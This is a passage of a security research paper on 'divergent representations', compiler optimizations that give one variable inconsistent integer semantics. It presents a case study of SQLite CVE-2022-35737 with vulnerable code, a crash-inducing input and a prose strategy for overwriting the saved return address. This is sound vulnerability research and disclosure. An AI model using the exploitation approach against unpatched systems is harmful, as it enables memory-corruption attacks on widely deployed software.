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Abstract—Compiler optimizations can introduce unexpected
security weaknesses in programs. In this paper, we introduce
a newly discovered form of optimization-introduced security
weakness that can benefit attackers, called divergent representa-
tions. We show that when divergent representations appear near
vulnerabilities, they can enable attackers to create more powerful
exploits. We provide a case study of a publicly disclosed SQLite
CVE that becomes exploitable because of a divergent represen-
tation. We show that divergent representations are prevalent
in software by searching for code patterns that may produce
divergent representations, and found candidate patterns in 44%
of scanned repositories.

I. INTRODUCTION

Compiler optimizations are known to negatively affect the
security of compiled programs. They have been shown to
introduce unexpected vulnerabilities when undefined behavior
is present [1], [2] and to introduce more effective code-reuse
gadgets [3].

We have discovered a new form of compiler-introduced
security problem: divergent representations. Compilers may
produce code that treats a single source code variable with
different semantic representations in compiled program lo-
cations, e.g., by representing a variable of type int using
signed 32-bit semantics in some program locations and using
unsigned 64-bit semantics in other locations. When coupled
with a vulnerability in the code that enables the execution of
undefined behavior, attackers can use divergent representations
to exploit programs that would otherwise be unexploitable.

Divergent representations introduce new paths through the
program, which provide attackers with new primitives for ex-
ploitation. We show that CVE-2022-35737 [4]–[7] in SQLite, a
vulnerability in a well-tested and widely deployed library, can
only be exploited through a divergent representation. Divergent
representations are also prevalent: we scanned 999 C and C++
repositories on GitHub for potential divergent representation
code patterns, and found the pattern in 445 of the repositories.

Despite their prevalence, divergent representations have
gone unnoticed or disregarded. In the majority of instances, di-
vergent representations are benign; for well-defined executions
of a program, a divergent representation results in equivalent
behavior compared to code that is free of divergent repre-
sentations. However, when undefined behavior is executed,
the divergent representation enables new program paths to
be reached. If programs could be guaranteed to be free of
undefined behavior, then divergent representations would be

a non-issue. Unfortunately, vulnerabilities persistently appear
[8], [9].

Divergent representations call for the rethinking of crucial
aspects of tools for software development, compiler optimiza-
tion, and program analysis. Compiler optimizations are the
cause of divergent representations; compilers apply optimiza-
tions that provide performance benefits, and that are equivalent
transformations of the program for all well-defined executions.
However, compilers do not usually take into account ways that
the transformation can enable exploitation when vulnerabilities
are present. Exploit mitigations, like stack canaries, can be
viewed as having the opposite effect of such a transformation:
mitigations introduce a performance cost, but reduce the ease
of exploitation of a vulnerability by removing possible state
transitions through the program. Ideally, compilers ought to
prefer transformations that are performant, but which do not
enable exploitation.

Once made aware of divergent representations, security-
conscious programmers could try to avoid code patterns that
result in divergent representations. However, this increases
the cognitive load of the programmer in counterproductive
ways. Instead, source-level analysis tools should reason about
code patterns that might produce divergent representations, and
make alternate recommendations. Binary-level analysis tools,
like decompilers, need to be able to correctly identify assembly
code that composes a divergent representation in order to
correctly reason about the original source code.

The main contributions of this work are:
1) a definition of divergent representations and concrete

examples that introduce new program states;
2) a demonstration that divergent representations can be

used to exploit programs with a case study of SQLite
CVE-2022-35737;

3) models of code patterns using code query languages
to identify divergent representation candidates in source
code and compiled programs; and

4) a characterization of the prevalence of divergent repre-
sentations in C and C++ programs.

The rest of the paper is organized as follows: Section II
provides preliminary background information about optimiz-
ing compilers, undefined behavior, and the exploitation of
compiled programs. Section III defines divergent represen-
tations and provides a small example to reason about. Sec-
tion IV is a case study of using a divergent representation
to exploit SQLite CVE-2022-35737. Section V characterizes
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the prevalence of divergent representations in common code
repositories. Section VI discusses the importance and im-
plications of divergent representations. Section VII describes
related work in compiler optimizations that introduce security
weaknesses, and contextualizes this work among the previous
work. Section VIII provides concluding remarks.

II. BACKGROUND

This section provides preliminary discussion of undefined
behavior in compiled languages. Optimizing compilers can
benefit from the assumption of the absence of undefined
behavior, in order to produce performant code. However, unde-
fined behavior is the source of many bugs and vulnerabilities.

A. Undefined behavior and optimizing compilers

Undefined behavior allows compilers to optimize programs
aggressively. Compilers opportunistically assume that a pro-
gram cannot execute undefined behavior, despite the potential
for programmer mistakes.

As a concrete example, the C standard specification [10]
defines the semantics of valid C programs. The standard
explicitly leaves some behaviors undefined, like adding two
signed integer values that result in a value greater than
INT_MAX, or accessing an array out-of-bounds. Compilers
trust programmers to write programs that do not contain
undefined behavior [11], so compilers do not have to insert
code to immediately check whether undefined behavior occurs.

Optimizing compilers can apply transformations to pro-
grams only if the semantics are valid and equivalent for
all well-defined executions. Sometimes, valid transformations
can introduce security weaknesses when compilers assume
the absence of undefined behavior in programs, since pro-
grammers often violate this assumption. Security-relevant code
that depends on signed integer overflow behaviors, which are
undefined, may be completely removed from programs [1], [2].
Notoriously, CVE-2009-1897 was inserted into the Linux ker-
nel by a compiler removing a null pointer check that followed
undefined behavior [12], [13]. Some transformations may not
introduce software vulnerabilities, but affect the security of
programs by increasing the number of usable gadgets for code-
reuse attacks [3] or by introducing side channels that leak
information about the program [1].

B. Undefined behavior introduces unintended program states

A vulnerability permits a program to transition into an
unintended execution state, previously referred to as a “weird
state” [14]. An exploit is an input to the program that causes
the program to reach such a weird state, and that then causes
the program to transition to additional weird states of the
attacker’s choosing. Undefined behavior introduces transitions
to weird states that enable attackers to craft exploits. Generally,
when there are more state transitions available between weird
states, the attacker can craft more powerful exploits.

As an example, a buffer overwrite is an instance of unde-
fined behavior. The overwrite may enable an attacker to write a
chosen value over the saved return address on the stack, which

would result in a “weird state” of the program. The attacker
then tries to coerce the program to transition to new weird
states that might include executing attacker-inserted shellcode,
or returning to a sequence of code-reuse gadgets in a return-
oriented programming (ROP) attack [15].

Even though compilers are permitted to ignore the pos-
sibility of undefined behaviors when optimizing programs,
in practice vulnerabilities do exist and so security best-
practices dictate that mitigations should be applied to programs
[16]. Compilers, linkers, and runtime environments collude
to attempt to minimize the weird state transitions available
to attackers through mitigations like stack canaries, memory
segment permissions, and runtime-relocatable code, sometimes
at the expense of performance. Exploit mitigations have the
effect of removing transitions from between weird states.

If exploit mitigations remove unintended state transitions
from a program, then adding unintended state transitions has
the opposite effect of a mitigation. Since code-reuse gadgets
can add state transitions that are useful for exploitation,
previous work in software debloating aimed to reduce the
occurrences of useful code-reuse gadgets in programs [17]–
[25]. Divergent representations are a new category of code
patterns that add unintended program state transitions.

III. DIVERGENT REPRESENTATIONS OVERVIEW

A divergent representation is an instance of a source code
variable represented by two or more different semantic treat-
ments in a compiled program. For inputs that only result
in well-defined behavior, divergent representations are the
harmless byproducts of performance-enhancing compiler op-
timizations. However, for inputs that result in the execution
of undefined behavior (e.g., inputs that reach vulnerabilities),
divergent representations enable new reachable program states
along new paths through the program. Attackers can use the
additional program states to exploit vulnerabilities that would
otherwise be unexploitable.

A single piece of program data may be used multiple times
in a program, e.g., a single source code variable may be read
from or written to at various locations in a program. If the
compiler chooses to treat some uses of the variable as, for
example, a signed 32-bit integer, but to treat other uses of the
same variable as an unsigned 64-bit integer, we refer to this
as an instance of a divergent representation.

The creation of a divergent representation may be perfectly
valid, from the perspective of an optimizing compiler, as long
as the divergent semantics are equivalent for all well-defined
executions of the program. However, vulnerabilities often
result from permitting the execution of undefined behavior,
and attackers can combine the presence of a vulnerability with
the additional program states provided by divergent executions
to craft more powerful exploits.

In summary, a divergent representation describes an instance
in a compiled program of two or more different representations
of a single source code variable. The representations are
supposed to be equivalent for all well-defined executions of
the program. However, if undefined behavior is present, the
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Fig. 1: Example inputs and case analysis of the indexof function when it contains a divergent representation. In the indexof
function, i is used to index into buf and as the function return value. Case 1 shows that for well-defined inputs, where i does
not exceed INT_MAX, all values of i maintain equivalence. Case 2 shows that undefined behavior causes divergent values of
i, which an attacker can use to take new program paths.

1 int indexof(char *buf, char target) {
2 int i;
3 for (i=0; buf[i] != target; i++) {}
4 return i;
5 }
6

Listing 1: A simple indexof function that scans a string for
the target character and returns the index of the target when
found.

1 indexof(char* buf, char target):
2 mov eax, -1
3 .LBB0_1:
4 add eax, 1 ; eax = eax + 1
5 lea rcx, [rdi + 1] ; rcx = rdi + 1
6 cmp byte ptr [rdi], sil
7 mov rdi, rcx ; rdi = rcx
8 jne .LBB0_1
9 ret

10

Listing 2: indexof function compiled with Clang 14.0.0 and
O1 optimization level. When the function is called, the rdi
register contains the address of buf and the sil (rsi) register
contains the target character. When the function returns, eax
contains the return value. eax, rdi, and rcx each represent
i, but with different semantics.

representations may diverge and allow for otherwise-infeasible
paths through the program to reach new states.

A. Simple example: indexof

For a simple example of a divergent representation, consider
the small C function in Listing 1, which scans an input string
for a target character and returns its index.

In the indexof function, the source variable i is a signed
integer and has multiple uses in the function: 1) as the return

value of the function, 2) as an induction variable in the for-
loop, and 3) as an offset into the string to access memory.
Further, the indexof function can execute undefined behav-
ior when the target character is not in the first INT_MAX
bytes of the buf array, allowing i to increment beyond the
well-defined range of integers.

Listing 2 shows the indexof function compiled for the 64-
bit x86 architecture using Clang 14.0.0 at optimization level
O1.1 In the compiled function, i has multiple representations:
1) the return value is treated as a signed 32-bit value held in
the eax register and incremented on line 4; 2) the induction
variable is treated as an unsigned 64-bit value in the rcx
register, which is incremented on line 5, separately from the
return value; and 3) the offset to access memory is also treated
as an unsigned 64-bit value in the rdi register, which is
incremented in step with rcx on lines 5 and 7.

Note that the return value must remain a 32-bit value,
because the return value of the indexof function is defined
with type int. However, the compiler chose to widen the
induction variable and memory offset through its induction
variable canonicalization optimization [26]. This allows the
compiler to avoid inserting a sign-extension instruction in the
loop body, which would have been necessary for widening
the 32-bit integer value to the machine’s 64-bit pointer-width
for pointer arithmetic when indexing into memory. This is
a valid transformation because all well-defined executions
of this program are semantically equivalent, and additionally
improves performance of programs by up to 39% [27].

As a result of the divergent representation in the indexof
function, the return value of the function (represented with
signed 32-bit semantics) can differ from the offset into mem-
ory where the target character is located (represented with
unsigned 64-bit semantics). Consider when the target char-
acter is not in the first INT_MAX bytes of buf, but is found at

1https://godbolt.org/z/svdq6d1Y3
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offset INT_MAX + 1. In this case, the memory offset is wide
enough to treat INT_MAX + 1 as a valid positive 64-bit inte-
ger and will access memory location buf[INT_MAX + 1].
This memory location contains the target character, so the
function returns. However, the return value will have wrapped,
according to 32-bit two’s compliment arithmetic, to the neg-
ative 32-bit INT_MIN value. As a result, the return value
does not indicate the index into the buffer where the target
character was found. Figure 1 illustrates the divergence of i
when inputs result in undefined behaviors.

If the compiler had used one consistent set of semantics
to represent all uses of i in the compiled program, the
return value of indexof always represents the index where
the target character is found (assuming that it is found),
even in cases of undefined behavior. This holds whether
the chosen semantics are signed 32-bit or unsigned 64-bit
representations. Therefore, the boolean expressions shown at
the bottom of Figure 1 always evaluate true in well-defined
executions of indexof, and even for undefined executions,
as long as the program is free of divergent representations.
However, the expression can evaluate false when a divergent
representation introduces a new execution path that is reached
by the undefined behavior.

While contrived, this indexof function demonstrates how
a divergent representation of a source variable can create
new reachable program states for an attacker to use. In
this example, the outcome results in a nonsensical boolean
evaluation, but we will show in Section IV how attackers can
leverage divergent representations to exploit real-world CVEs
in production software.

IV. CASE STUDY: EXPLOITING SOFTWARE WITH
DIVERGENT REPRESENTATIONS

When divergent representations appear in programs with
existing vulnerabilities, attackers can use them to write more
powerful exploits. In this section, we provide a case study
of the exploitation of SQLite CVE-2022-35737, where a
divergent representation allows an attacker to use the vulner-
ability to control the program instruction pointer. Without the
divergent representation, the attacker can only crash the vul-
nerable program at the location of the overwrite. This divergent
representation appears in official distributed compiled versions
of libsqlite3.so, including the version distributed by the
Apt package manager for Ubuntu 20.04.

A. SQLite CVE-2022-35737

SQLite is a popular SQL database implementation written
in C, and has over one billion deployments [29]. SQLite
is renowned for the robustness of its tests, with 100%
branch test coverage [30]. We discovered and disclosed
CVE-2022-35737 in SQLite versions prior to 3.39.2 [4]–
[6]. CVE-2022-35737 is an integer overflow vulnerability in
the sqlite3_str_vappendf function in the printf.c
module of SQLite. SQLite provides its own implementations
of the printf family of functions, like sqlite3_snprintf,
in order to provide the custom format string specifiers

1 int i, k, n, x, y, z;
2 char ch;
3 char output[MAX_BUFSIZE];
4 /* char *input is a function parameter */
5

6 /* 1) Scan input string */
7 k = -1;
8 for(i=n=0; k!=0 && (ch=input[i])!=0; i++, k--) {
9 if (ch==’\’’) n++;

10 if ((ch & 0xc0) == 0xc0) {
11 while ((input[i+1] & 0xc0) == 0x80) { i++; }
12 }
13 }
14

15 /* 2) Check that buffer can fit escaped string
16 * INTEGER OVERFLOW */
17 if (n + i + 3 <= MAX_BUFSIZE) {
18

19 /* 3) Copy escaped string into output buffer */
20 y = 0;
21 z = i;
22 for (x=0; x < z; x++) {
23 /* STACK BUFFER OVERFLOW OF output */
24 output[y++] = input[x];
25 if (input[x] == ’\’’) output[y++] = ’\’’;
26 }
27 }

Listing 3: Vulnerable SQLite sqlite_str_vappendf
function (simplified for clarity). Unedited vulnerable SQLite
code at lines 803-850 of [28].

1 #define STR_LEN 0x7FFFFFFF
2 char *src = calloc(1, STR_LEN + 1);
3 char *dst = calloc(1, STR_LEN + 1);
4 memset(src, ’a’, STR_LEN);
5 sqlite3_snprintf(STR_LEN + 1, dst, "%q", src);

Listing 4: A large string input to sqlite3_snprintf
results in a program crash due to CVE-2022-35737. For this
string input of all ‘a’ characters, the addition on line 17 of
Listing 3 overflows with i=0x7FFFFFFF and n=0, causing
2,147,483,647 bytes to be written to the stack at line 24,
resulting in a program crash.

%Q, %q, and %w for special character escaping in SQL
queries. Internally, the printf functions call the vulnerable
sqlite3_str_vappendf function.

When handling the string argument for the %Q, %q, and %w
format strings, the vulnerable function first 1) scans the string
argument to calculate the size of the output string, accounting
for bytes that must be added for escaped characters. Then, it
2) checks that the stack-allocated output buffer is sufficiently
large to contain the escaped string. Finally, the function 3)
copies the escaped string into the output buffer.

An integer overflow can occur when the escaped string size
is calculated. The result of the calculation can be a negative
integer value, which will always compare smaller than the
allocated stack buffer size, regardless of how large the actual
input string is. The function then attempts to copy the entire
input string into the stack-allocated buffer, and a stack buffer
overflow occurs.

The vulnerable code is shown in Listing 3 (simplified for
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clarity). Lines 7-13 scan the input string, counting the number
of special characters (int n) and the total number of bytes
(int i). Line 17 checks to ensure that the computed size of
the escaped string fits in the allocated stack buffer, but the
size calculation can overflow. When integer overflow occurs,
the output buffer can be smaller than the actual size of the
escaped string, but the condition expression still evaluates true.
Lines 20-26 copy the escaped string into the output buffer, and
stack buffer overflow can occur at line 24.

When the SQLite library is compiled without optimiza-
tions, any input that causes the integer overflow on line
17 will crash the program at line 24. In order to cause the
overflow, the input string must necessarily be large, so that
i + n + 3 > INT_MAX, where i is the total number of
bytes in the input string, and n is the number of special
characters in the input string. However, for the overflow to
occur, the input string must be at least 1GiB in size. When
the input string is copied into the output buffer at line 24,
the string is written beyond the stack segment in memory.
Linux systems, for example, allocate stack segments of 8MiB
by default, and so the program will crash when 1GiB of data
is written to the stack. Listing 4 shows an example input to
sqlite3_snprintf that results in program crash.

B. Exploiting CVE-2022-35737 using a divergent representa-
tion

A more powerful exploit enables an attacker to control
the instruction pointer, rather than for the program to crash
immediately on overflow. In order to control the instruction
pointer, the attacker should aim to use the stack buffer overflow
to overwrite the saved return address on the stack, and then
to cause the function to return. The exploit attempt shown in
Listing 4 fails because, in addition to overwriting the saved
return address on the stack, it also writes 1GiB of data to stack
and causes the program to crash before reaching the function
return.

In order to overwrite the saved return address and reach
the function return statement, the attacker must overcome two
seemingly contradictory conditions:

1) n + i + 3 <= MAX_BUFSIZE. The size of the es-
caped string is computed (with possibility of overflow)
and used to check that the escaped string can fit in the
output buffer. As described in Section IV-A, when
integer overflow occurs, this condition can evaluate true
even though the escaped string size is greater than
MAX_BUFSIZE.

2) MAX_BUFSIZE < i << 8388608 (8MiB). The
size of the overwrite is limited by the size of the input
string, which is represented by i. In order to overwrite
the saved return address, i must be large enough to
overflow the output buffer on the stack, but must not
be large enough to cause the escaped output string to
be written beyond the end of the 8MiB stack.

The example in Listing 4 meets Condition 1 by causing
integer overflow, but crashes because Condition 2 is not met,
since i > 8388608. In order to meet Condition 2, i must be

a relatively small value. This requires that n is large in order
to keep Condition 1 true by overflowing n + i + 3. On
lines 7-13 of Listing 3, i is incremented every time that n is
incremented, so n <= i (recall that n is intended to track the
number of special characters in the input, and i is intended
to track the total number of bytes in the input). However,
i can also overflow when the total number of bytes in the
input string exceeds INT_MAX. If i overflows and wraps to a
small positive integer value while n remains large, then both
conditions can be met: Condition 1 results from the overflow
of addition of large n and small i, while Condition 2 is true
as long as i wraps to a small positive integer greater than
MAX_BUFSIZE.

In the unoptimized compilation of this function, where all
32-bit integers are represented with signed two’s complement
32-bit semantics, i wraps to the negative INT_MIN value
when it is incremented beyond INT_MAX. Then, the next
time that input[INT_MIN] is accessed on line 8 or 11 of
Listing 3, the program will access memory at a negative offset
from input and either crash (if memory address is unmapped
or inaccessible) or access memory that the attacker does not
control.

The officially distributed libsqlite3.so vulnerable li-
brary version provided by the Apt package manager for
Ubuntu 20.04 contains a divergent representation that allows
an attacker to overcome this challenge. The divergent repre-
sentation of i allows an attacker to meet both conditions by
introducing new program states. The i source code variable
in lines 7-13 of Listing 3 is represented with signed 32-bit
semantics on Line 8, but with unsigned 64-bit semantics on
line 11. This is the result of the same kind of optimization
applied by Clang in the indexof example in Section III-A,
where performance is improved by avoiding a sign-extension
instruction in the loop body.

The unsigned 64-bit representation of i on line 11 provides
new program states that the attacker can use to avoid the
negative memory offset. When the function scans unicode
characters, i increments with unsigned 64-bit semantics, so
that the memory access of input[i+1] on line 11 will
continue in the positive direction when i exceeds INT_MAX.
When the attacker provides an input string with unicode prefix
bytes in offset locations that would have resulted in negative
representations in the signed 32-bit integer range, the attacker
can avoid the negative memory access by taking advantage of
the program path with 64-bit semantics.

The attacker can meet both necessary conditions to over-
write the saved return address and cause the function to
execute to completion when the divergent representation is
present. We provide a proof of concept exploit in Appendix A
that overwrites the return address with an attacker controlled
value and continues function execution.2 Note that we do not
take into account the presence of stack canaries with this
exploit approach; we assume that canaries are not present, or

2https://github.com/trailofbits/publications/tree/master/disclosures/
CVE-2022-35737
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that the attacker has a means to leak the canary value of the
target process[16].

V. PREVALENCE OF DIVERGENT REPRESENTATIONS

We demonstrated in Section IV that divergent represen-
tations can enable exploitation when they appear alongside
vulnerabilities. We show in this section that the divergent
representation that made SQLite CVE-2022-35737 exploitable
was not an isolated incident, but a common pattern that may
enable the exploitation of future vulnerabilities. We show that
divergent representations are common in C and C++ projects,
and so could feasibly appear alongside as yet undiscovered
vulnerabilities.

Ideally, we would identify all vulnerabilities and determine
whether divergent representations enable their exploitation.
Vulnerability discovery is a challenging problem of its own,
as is exploit generation. In lieu of discovering and exploiting
all vulnerabilities, we quantify the occurrence of divergent
representations with heuristic searches. By showing that di-
vergent representations are common, we can infer that future
vulnerabilities will appear near divergent representations, like
in CVE-2022-35737.

We searched for both source code and compiled binary
code patterns that could indicate the presence of divergent
representations. Our source code queries identified candidate
instances that may produce divergent representations when
compiled, while our binary code queries searched for defini-
tive instances of divergent representations. Our source code
scans act as a type of heuristic for indicating the presence
of divergent representations: they cannot definitively indicate
the presence of divergent representations, but they can be
performed at scale since they do not require compiling the
target software. We then conducted a more thorough search
over compiled programs that was guided by the results of the
source code scans. We open source our queries for others to
identify instances of divergent representations.3 4

A. Searching for source code candidates of divergent repre-
sentations

To search for source code candidates that may produce
divergent representations, we used GitHub’s CodeQL [31],
[32] to model the source code pattern described in Sections III
and IV that we observed to produce integer divergent repre-
sentations of 32- and 64-bit values. CodeQL provides a query
language for searching source code for code patterns, typically
for the purpose of querying for vulnerable code patterns.

We model the original source code pattern that produced the
integer divergent representation by searching for code where
a signed integer is:

1) declared before an identified loop;
2) incremented inside the loop;
3) used to access an array inside the loop; and
4) used after the loop.

3https://github.com/trailofbits/divergent-representations/
4https://github.com/wunused/divergent-representations-artifacts

These conditions together might produce divergent repre-
sentations when compiled with optimizations, since the mem-
ory accesses inside the loop body may be widened to avoid
sign extension. Note that these conditions are not the only
patterns that may produce divergent representations.

We queried 999 sampled C and C++ GitHub repositories
that support CodeQL querying with downloadable CodeQL
databases, which represent repositories with high numbers of
stars, watchers, and forks on GitHub.5 Of the 999 repositories
queried, 445 repositories (44.5%) had at least one instance
of the divergent representation candidate code pattern; 116
repositories (11.6%) had at least 10 candidates; and 14 repos-
itories (1.4%) had at least 100 candidates. We identified a
total of 6,189 code candidates in the 999 repositories, with
the distribution shown in Figure 2.

B. Searching for divergent representations in compiled binary
programs

We searched compiled binary programs for specific assem-
bly patterns in order to find instances of divergent represen-
tations. We used the Binary Ninja disassembler and binary
analysis platform to model the patterns of integer divergent
representations over the compiled program. Binary Ninja pro-
vides an intermediate representation to abstractly reason about
binary programs [33], [34]; this is analogous to the intermedi-
ate representations used by compilers to perform analyses on
source code during the compilation process. For our query, we
specifically used Binary Ninja’s Medium Level Intermediate
Language (MLIL) Single-Static Assignment (SSA) form to
reason about the disassembled program, which abstracts reg-
isters and memory locations as variables and enables data-flow
analyses with Φ-nodes.

Integer divergent representations are recognized by data
variables that are operated on with different sizes at differ-
ent program locations. We search for variables that exist in
program loops, where some uses of the variable are with 64-
bit operations, and other uses are with 32-bit operations. We
represent this in Binary Ninja’s MLIL SSA form by searching
for instances of SSA Φ-nodes that:

1) use their own defined variables, indicating that the
variables are used in a loop;

2) use variables defined with different sizes;
3) define variables used in 64-bit operations; and
4) define variables later downcast to smaller sizes.
To observe the effect of compiler optimizations on the

prevalence of divergent representations, we sampled reposi-
tories that were identified by the source code CodeQL queries
and compiled the associated code with both Clang and GCC.
For each compiler, we produced a build for each optimization
level from O0 to O3. We searched each build using our Binary
Ninja query, with the results shown in Table I.

Unsurprisingly, no divergent representations existed in any
unoptimized builds, validating our understanding that diver-
gent representations are produced by compiler optimizations.

5Full list of scanned repositories and results: https://pastebin.com/
QxCRXAp8.

342



0 1 - 9 10 - 99 100 - 199 200+
No. of div. rep. candidates found in a repository (inclusive)

0

100

200

300

400

500

600
N

um
be

r 
of

 r
ep

os
it

or
ie

s
554

329

102

12 2

Distribution of Source Code Divergent
Representation Candidates

0 div. rep.
candidates

55.5%

1 or more div.
rep. candidates44.5%

Percentage of Repositories with
at Least One Div. Rep. Candidate
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TABLE I: Number of divergent representations in selected repositories when compiled with different compilers and optimization
levels. Compiler versions used were GCC 11 and Clang 14. Repositories were selected from the results of the CodeQL source
code scans and for ease of compilation.

Repository CodeQL GCC -O0 GCC -O1 GCC -O2 GCC -O3 Clang -O0 Clang -O1 Clang -O2 Clang -O3

radare2 186 0 90 98 119 0 62 78 111

sqlite3 111 0 61 69 76 0 39 44 58

libsqlite3.so.0.8.6 111 0 33 37 53 0 23 26 30

flatpak 50 0 3 6 8 0 14 18 20

libwolfssl.so.35.3.0 22 0 5 4 4 0 46 16 16

libgit2.so.1.5.0 14 0 0 0 0 0 0 0 0

When optimizations are enabled, the occurrences of divergent
representations seem to increase in number at higher optimiza-
tion levels, but not in all cases, as libwolfssl.so has more
divergent representations when compiled with O1 than higher
optimization levels. This may be the result of interactions
of additional analyses at higher optimization levels, or of
divergent representation forms that our queries cannot identify.

Our results are an underapproximation, since divergent
representations may take other forms that we have not queried
for. Still, our scans show that divergent representations are
quite common in compiled software, and that the divergent
representation that enabled the exploitation of SQLite CVE-
2022-35737 was not an isolated code pattern. This is just one
observed form of divergent representation with over 6,000
candidate code patterns when searched in 999 repositories,
and with at least one possible occurrence in 44% of scanned
repositories. Most divergent representations are harmless, un-
less they occur alongside a vulnerability that allows for the
execution of undefined behavior. While vulnerabilities are rel-
atively sparse, we emphasize that the prevalence of divergent
representations raises the possibility that future vulnerabilities
will be discovered in the vicinity of divergent representations.

VI. DISCUSSION

Divergent representations are prevalent in C and C++ code,
and make exploitation easier for attackers when they appear
alongside vulnerabilities. So far, we have only discussed oc-
currences of integer divergent representations and their impact
on the security of compiled programs. In this section, we
discuss other code patterns that may produce divergent rep-
resentations, how divergent representations can be prevented,
and why program analysis tools need to be aware of divergent
representations.

A. Alternate forms of divergent representations

We have identified and discussed one specific form of diver-
gent representations that widen signed 32-bit to unsigned 64-
bit representations through induction variable canonicalization.
Other forms of divergent representations may exist in compiled
programs. The common feature of a divergent representation is
inconsistent treatment of data that can be used in the execution
of undefined behavior. We suspect that many such forms may
exist.

Intuitively, other integer widths have their own forms of
divergent representations. CPU word-sizes may affect the
prevalence of such representations, since promotion consider-
ations will differ. We have observed divergence of 8-bit values
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that get promoted to 32-bit values on 32-bit architectures6 and
to 64-bit values on 64-bit architectures.7

Other forms of divergent representations may appear com-
pletely different. Some very common C library functions, like
memcpy, are treated by compilers as built-ins that may be
inlined opportunistically, or may be called as regular library
function calls [35]. Undefined behavior can exist in these
functions; for example, it is undefined to call memcpy with
two overlapping memory areas [36]. A compiler may produce
a program that uses inlined calls to memcpy in some locations
and uses explicit calls to memcpy in others. If the behavior
of the two versions of memcpy differ in their handling of
undefined behavior, then divergent program paths can occur
even though the arguments to the different memcpy functions
are the same. Over the years, the glibc implementation of
memcpy has changed how it handled undefined behavior,
which resulted in crashes in programs that made too strong
assumptions about undefined inputs [37]. We strongly suspect
that amidst the changes, a compiler’s implementation of a
built-in function treated undefined behavior differently than
a library’s implementation of the same function.

Undefined behavior can exist in programming languages
other than C and C++. LLVM IR has its own definitions
of undefined behavior, and further exploration is required to
determine whether divergent representations can emerge from
LLVM IR undefined behavior.

B. Preventing divergent representations

When possible, divergent representations ought to be pre-
vented so that they do not enable future exploits. Since
divergent representations result from compiler optimizations,
a naive, but unappealing, way to prevent divergent represen-
tations from appearing is to disable select compiler optimiza-
tions. This has the obvious disadvantage of producing less
performant programs.

A more reasonable approach is to use appropriate data types
to avoid source code patterns that might produce divergent
representations in favor of equivalent ones that do not. Recall
that in the indexof example from Section III-A (reproduced
in Listing 5), the divergent representation appeared when the
signed 32-bit representation of i is widened to an unsigned
64-bit representation as a performance optimization to avoid
a sign extension instruction in the loop body. i is used as a
non-negative counter value. In the function indexof_new,
i is declared with type size_t, defined by ISO C and GNU
C to represent the sizes of objects [10], [38]. In the Clang
compilation of indexof_new, no divergent representation
occurs as i is consistently represented as a 64-bit value,
and the sign extension instruction is not needed. The new
function meets the intent of the programmer, is as performant
as the optimized version of the original function, and does not
introduce a potential divergent representation.

6https://godbolt.org/z/b7ffP7aEM
7https://godbolt.org/z/G6Kca3so6

However, expecting the programmer to reason about the
compiled representations of semantically correct code is coun-
terproductive; the cognitive load of programming correctly is
great enough as it is. Instead, programming tools can help
reason about divergent representations.

C. Tools should be aware of divergent representations

Programming tools should be able to recognize and reason
about divergent representations. In order to help programmers
avoid code patterns that may produce divergent representa-
tions, tools need to be able to recognize candidate source
code patterns. In order to determine whether vulnerabilities
are exploitable, or to decompile binary code, binary analysis
tools also need to be aware of divergent representations.

Linters and compilers reason about source code to make
recommendations and provide warnings to programmers. Di-
vergent representations could be prevented at their source by
creating tools to recognize and avoid the code patterns that
create them; for example, by creating tools that can recognize
that Listing 6 is equivalent to Listing 5 in both semantics
and performance, but also that Listing 6 does not have the
potential for divergence when compiled. One possible method
for identifying divergent representations during compilation
is to compare the types of all variable uses before and after
applying a code transformation, and to emit warnings to the
programmer when the types diverge.

Tools that reason about compiled programs should also
be aware of divergent representations. Binary analysis tools
should able to identify divergent representations near identi-
fied vulnerabilities to help assess potential exploitability of
the vulnerability. Reverse engineering tools can also benefit:
decompilers attempt to take compiled programs and output
the original source code programs. Divergent representations
can introduce confusion in the decompiled output. As an
example, Listing 9 shows the decompilation of the optimized
indexof function produced by the Ghidra decompiler. The
decompiled output is semantically equivalent to the original
source code (Listing 5) for well-defined executions of the
program. However, it is subtly different: the decompiled output
increments two separate variables on each loop iteration. The
first variable represents the use of i as the integer return
value, and the other variable is a pointer incrementing through
buf. The semantics of incrementing a pointer differs from the
semantics of incrementing a signed integer, which is a subtle
change from the original program that reflects the presence of
the divergent representation. If Ghidra had been aware of the
divergent representation, it may have been able to reconstruct
a more faithful source code representation.

VII. RELATED WORK

This paper describes a specific pattern of security weak-
nesses that results from compiler optimizations. In particular,
the security weaknesses enable the exploitation of existing pro-
grammer errors that may otherwise have been unexploitable.
Significant previous work studied how compiler optimizations
affect the security of compiled programs. Most of the previous
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1

2

3 int indexof(char *buf, char c) {
4 int i;
5 for (i=0; buf[i] != c; i++) {}
6 return i;
7 }

Listing 5: A simple function for calculating the index of
a character in a buffer. Reproduced from Listing 1.

1 #include <stddef.h>
2

3 size_t indexof_new(char *buf, char c) {
4 size_t i;
5 for (i=0; buf[i] != c; i++) {}
6 return i;
7 }

Listing 6: A semantically equivalent implementation of
indexof, but with a size_t return type rather than a
signed integer.

1 indexof(char*, char):
2 mov eax, -1
3 .LBB0_1:
4 add eax, 1
5 lea rcx, [rdi + 1]
6 cmp byte ptr [rdi], sil
7 mov rdi, rcx
8 jne .LBB0_1
9 ret

Listing 7: Compiled output of indexof function
(Listing 5) from Clang 14.0.0 at O1. i is treated as a
signed 32-bit value (eax) and an unsigned 64-bit value
(rdi and rcx).

1 indexof_new(char*, char):
2 mov rax, -1
3 .LBB0_1:
4 mov rcx, rax
5 add rax, 1
6 cmp byte ptr [rdi + rcx + 1], sil
7 jne .LBB0_1
8 ret

Listing 8: Compiled output of indexof_new function
(Listing 6) from Clang 14.0.0 at O1. The divergent
representation does not appear since all representations
of i are treated as unsigned 64-bit values.

1 int indexof(char *buf,char target)
2 {
3 int i;
4 char read_byte;
5

6 i = -1;
7 do {
8 i = i + 1;
9 read_byte = *buf;

10 buf = buf + 1;
11 } while (read_byte != target);
12 return i;
13 }

Listing 9: Ghidra decompilation of the indexof function
when compiled with Clang 14 at O1.

work focused on how compiler optimizations may introduce
vulnerabilities into compiled programs. A smaller body of
research describes how compiler optimizations may make
vulnerable code easier to exploit, as this paper does.

Divergent representations appear because of the way that
compilers reason about undefined behavior when applying
optimizations to code. A large existing body of work attempts
to describe the effects of undefined behavior in the presence
of compiler optimizations.

A. Compiler optimizations that introduce vulnerabilities

The first attempt to formally describe and search for in-
stances of security weaknesses introduced by compiler opti-
mizations was conducted by Wang et al. [2]. They defined
optimization-unstable code as code that works with opti-
mizations turned off, but which breaks when optimizations
